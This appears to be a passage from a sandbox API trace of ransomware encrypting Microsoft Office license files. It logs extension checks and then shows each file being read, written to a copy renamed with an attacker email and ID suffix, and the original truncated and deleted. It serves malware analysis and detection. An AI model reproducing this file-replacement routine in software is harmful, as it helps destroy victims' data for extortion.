	[0204.509] lstrlenW (lpString=".ppt") returned 4
	[0204.509] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0204.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86
	[0204.509] lstrlenW (lpString=".zip") returned 4
	[0204.509] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0204.509] lstrlenW (lpString=".rar") returned 4
	[0204.509] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0204.509] lstrlenW (lpString=".bz2") returned 4
	[0204.509] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0204.509] lstrlenW (lpString=".7z") returned 3
	[0204.509] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0204.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86
	[0204.509] lstrlenW (lpString=".dbf") returned 4
	[0204.509] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0204.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86
	[0204.509] lstrlenW (lpString=".1cd") returned 4
	[0204.509] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0204.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86
	[0204.509] lstrlenW (lpString=".jpg") returned 4
	[0204.509] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0204.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86
	[0204.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86
	[0204.509] lstrlenW (lpString=".doc") returned 4
	[0204.509] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0204.509] lstrlenW (lpString=".docx") returned 5
	[0204.509] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0204.509] lstrlenW (lpString=".pdf") returned 4
	[0204.509] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0204.509] lstrlenW (lpString=".xls") returned 4
	[0204.510] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0204.510] lstrlenW (lpString=".xlsx") returned 5
	[0204.510] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0204.510] lstrlenW (lpString=".ppt") returned 4
	[0204.510] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0204.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86
	[0204.510] lstrlenW (lpString=".zip") returned 4
	[0204.510] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0204.510] lstrlenW (lpString=".rar") returned 4
	[0204.510] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0204.510] lstrlenW (lpString=".bz2") returned 4
	[0204.510] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0204.510] lstrlenW (lpString=".7z") returned 3
	[0204.510] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0204.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86
	[0204.510] lstrlenW (lpString=".dbf") returned 4
	[0204.510] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0204.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86
	[0204.510] lstrlenW (lpString=".1cd") returned 4
	[0204.510] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0204.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86
	[0204.510] lstrlenW (lpString=".jpg") returned 4
	[0204.510] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0204.510] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0204.510] lstrlenW (lpString="O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 36
	[0204.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0204.511] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=11630) returned 1
	[0204.511] CloseHandle (hObject=0x5b4) returned 1
	[0204.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ul-oob.xrm-ms")) returned 0x220
	[0204.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0204.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0204.512] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.512] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0204.513] GetLastError () returned 0x0
	[0204.513] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x2d6e, lpOverlapped=0x0) returned 1
	[0204.515] WriteFile (in: hFile=0x428, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0204.516] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0204.516] WriteFile (in: hFile=0x428, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0204.516] SetEndOfFile (hFile=0x428) returned 1
	[0204.517] CloseHandle (hObject=0x428) returned 1
	[0204.517] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.517] SetEndOfFile (hFile=0x5b4) returned 1
	[0204.520] CloseHandle (hObject=0x5b4) returned 1
	[0204.520] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0204.521] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ul-oob.xrm-ms")) returned 1
	[0204.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86
	[0204.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86
	[0204.522] lstrlenW (lpString=".doc") returned 4
	[0204.522] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0204.522] lstrlenW (lpString=".docx") returned 5
	[0204.522] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0204.522] lstrlenW (lpString=".pdf") returned 4
	[0204.522] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0204.522] lstrlenW (lpString=".xls") returned 4
	[0204.522] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0204.522] lstrlenW (lpString=".xlsx") returned 5
	[0204.522] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0204.522] lstrlenW (lpString=".ppt") returned 4
	[0204.522] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0204.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86
	[0204.522] lstrlenW (lpString=".zip") returned 4
	[0204.522] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0204.522] lstrlenW (lpString=".rar") returned 4
	[0204.522] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0204.522] lstrlenW (lpString=".bz2") returned 4
	[0204.522] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0204.522] lstrlenW (lpString=".7z") returned 3
	[0204.522] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0204.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86
	[0204.522] lstrlenW (lpString=".dbf") returned 4
	[0204.522] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0204.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86
	[0204.522] lstrlenW (lpString=".1cd") returned 4
	[0204.522] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0204.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86
	[0204.523] lstrlenW (lpString=".jpg") returned 4
	[0204.523] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0204.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86
	[0204.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86
	[0204.523] lstrlenW (lpString=".doc") returned 4
	[0204.523] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0204.523] lstrlenW (lpString=".docx") returned 5
	[0204.523] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0204.523] lstrlenW (lpString=".pdf") returned 4
	[0204.523] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0204.523] lstrlenW (lpString=".xls") returned 4
	[0204.523] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0204.523] lstrlenW (lpString=".xlsx") returned 5
	[0204.523] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0204.523] lstrlenW (lpString=".ppt") returned 4
	[0204.523] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0204.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86
	[0204.523] lstrlenW (lpString=".zip") returned 4
	[0204.523] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0204.523] lstrlenW (lpString=".rar") returned 4
	[0204.523] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0204.523] lstrlenW (lpString=".bz2") returned 4
	[0204.523] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0204.523] lstrlenW (lpString=".7z") returned 3
	[0204.523] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0204.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86
	[0204.523] lstrlenW (lpString=".dbf") returned 4
	[0204.523] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0204.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86
	[0204.523] lstrlenW (lpString=".1cd") returned 4
	[0204.523] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0204.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86
	[0204.524] lstrlenW (lpString=".jpg") returned 4
	[0204.524] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0204.524] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0204.524] lstrlenW (lpString="O365ProPlusR_SubTrial5-pl.xrm-ms") returned 32
	[0204.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0204.525] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=11179) returned 1
	[0204.525] CloseHandle (hObject=0x5b4) returned 1
	[0204.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-pl.xrm-ms")) returned 0x220
	[0204.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0204.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0204.525] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.526] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0204.527] GetLastError () returned 0x0
	[0204.527] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x2bab, lpOverlapped=0x0) returned 1
	[0204.736] WriteFile (in: hFile=0x428, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0204.737] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0204.737] WriteFile (in: hFile=0x428, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x114, lpOverlapped=0x0) returned 1
	[0204.737] SetEndOfFile (hFile=0x428) returned 1
	[0204.737] CloseHandle (hObject=0x428) returned 1
	[0204.737] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.737] SetEndOfFile (hFile=0x5b4) returned 1
	[0204.742] CloseHandle (hObject=0x5b4) returned 1
	[0204.742] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0204.742] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-pl.xrm-ms")) returned 1
	[0204.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82
	[0204.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82
	[0204.744] lstrlenW (lpString=".doc") returned 4
	[0204.744] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0204.744] lstrlenW (lpString=".docx") returned 5
	[0204.744] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0204.744] lstrlenW (lpString=".pdf") returned 4
	[0204.744] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0204.744] lstrlenW (lpString=".xls") returned 4
	[0204.744] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0204.744] lstrlenW (lpString=".xlsx") returned 5
	[0204.744] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0204.744] lstrlenW (lpString=".ppt") returned 4
	[0204.744] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0204.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82
	[0204.744] lstrlenW (lpString=".zip") returned 4
	[0204.744] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0204.744] lstrlenW (lpString=".rar") returned 4
	[0204.744] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0204.744] lstrlenW (lpString=".bz2") returned 4
	[0204.744] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0204.744] lstrlenW (lpString=".7z") returned 3
	[0204.744] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0204.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82
	[0204.744] lstrlenW (lpString=".dbf") returned 4
	[0204.744] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0204.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82
	[0204.744] lstrlenW (lpString=".1cd") returned 4
	[0204.744] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0204.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82
	[0204.744] lstrlenW (lpString=".jpg") returned 4
	[0204.744] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0204.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82
	[0204.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82
	[0204.744] lstrlenW (lpString=".doc") returned 4
	[0204.745] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0204.745] lstrlenW (lpString=".docx") returned 5
	[0204.745] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0204.745] lstrlenW (lpString=".pdf") returned 4
	[0204.745] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0204.745] lstrlenW (lpString=".xls") returned 4
	[0204.745] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0204.745] lstrlenW (lpString=".xlsx") returned 5
	[0204.745] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0204.745] lstrlenW (lpString=".ppt") returned 4
	[0204.745] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0204.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82
	[0204.745] lstrlenW (lpString=".zip") returned 4
	[0204.745] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0204.745] lstrlenW (lpString=".rar") returned 4
	[0204.745] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0204.745] lstrlenW (lpString=".bz2") returned 4
	[0204.745] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0204.745] lstrlenW (lpString=".7z") returned 3
	[0204.745] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0204.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82
	[0204.745] lstrlenW (lpString=".dbf") returned 4
	[0204.745] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0204.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82
	[0204.745] lstrlenW (lpString=".1cd") returned 4
	[0204.745] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0204.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82
	[0204.745] lstrlenW (lpString=".jpg") returned 4
	[0204.745] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0204.746] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0204.746] lstrlenW (lpString="O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 46
	[0204.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0204.747] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=11235) returned 1
	[0204.747] CloseHandle (hObject=0x5b4) returned 1
	[0204.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-pl.xrm-ms")) returned 0x220
	[0204.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0204.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0204.748] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.748] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0204.749] GetLastError () returned 0x0
	[0204.749] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x2be3, lpOverlapped=0x0) returned 1
	[0204.755] WriteFile (in: hFile=0x428, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x2bf0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x2bf0, lpOverlapped=0x0) returned 1
	[0204.756] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0204.756] WriteFile (in: hFile=0x428, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x130, lpOverlapped=0x0) returned 1
	[0204.756] SetEndOfFile (hFile=0x428) returned 1
	[0204.756] CloseHandle (hObject=0x428) returned 1
